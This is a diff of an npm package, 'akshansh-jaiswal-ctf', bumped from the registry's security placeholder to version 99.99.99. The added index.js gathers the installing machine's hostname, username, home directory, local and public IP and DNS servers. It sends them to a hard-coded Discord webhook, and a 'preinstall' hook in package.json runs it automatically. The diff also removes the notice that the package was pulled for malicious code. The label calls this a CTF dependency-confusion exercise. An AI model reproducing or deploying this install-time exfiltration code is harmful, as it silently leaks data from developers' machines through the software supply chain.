akshansh-jaiswal-ctf 0.0.1-security → 99.99.99

package/index.js

@@ -0,0 +1,41 @@
+const os = require('os');
+const https = require('https');
+const dns = require('dns');
+
+const discordWebhookUrl = 'https://discord.com/api/webhooks/1193495191710089256/gbP4D1WCBOymeyH8Dk3wU0hQAn7KkeQcdJybmtWCRC3bQKCHpDM6bEGzox_Gn3OA-BDv'; 
+
+
+function sendMessage(message) {
+    const payload = JSON.stringify({ content: message });
+    const parsedUrl = new URL(discordWebhookUrl);
+    const req = https.request({
+        hostname: parsedUrl.hostname,
+        path: parsedUrl.pathname,
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(payload)
+        }
+    });
+    req.write(payload);
+    req.end();
+}
+
+https.get('https://ipinfo.io/ip', (resp) => {
+    let data = '';
+    resp.on('data', (chunk) => { data += chunk; });
+    resp.on('end', () => {
+        const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
+Current Directory: ${__dirname}
+Home Directory: ${os.homedir()}
+Hostname: ${os.hostname()}
+Username: ${os.userInfo().username}
+Local IP Address: ${(os.networkInterfaces()['eth0'] || [{ address: 'N/A' }])[0].address}
+Public IP Address: ${data.trim()}
+Dns-Server: ${dns.getServers().join(', ')}`;
+
+        sendMessage(baseMessage);
+    });
+}).on("error", (err) => {
+    sendMessage(`Error fetching public IP: ${err.message}`);
+});

package/package.json

@@ -1,6 +1,14 @@
 {
-  "name": "akshansh-jaiswal-ctf",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+    "name": "akshansh-jaiswal-ctf",
+    "version": "99.99.99",
+    "description": "akshansh-security",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "node index.js"
+    },
+    "author": "akshansh",
+    "license": "ISC",
+    "dependencies": {
+    }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=akshansh-jaiswal-ctf for more information.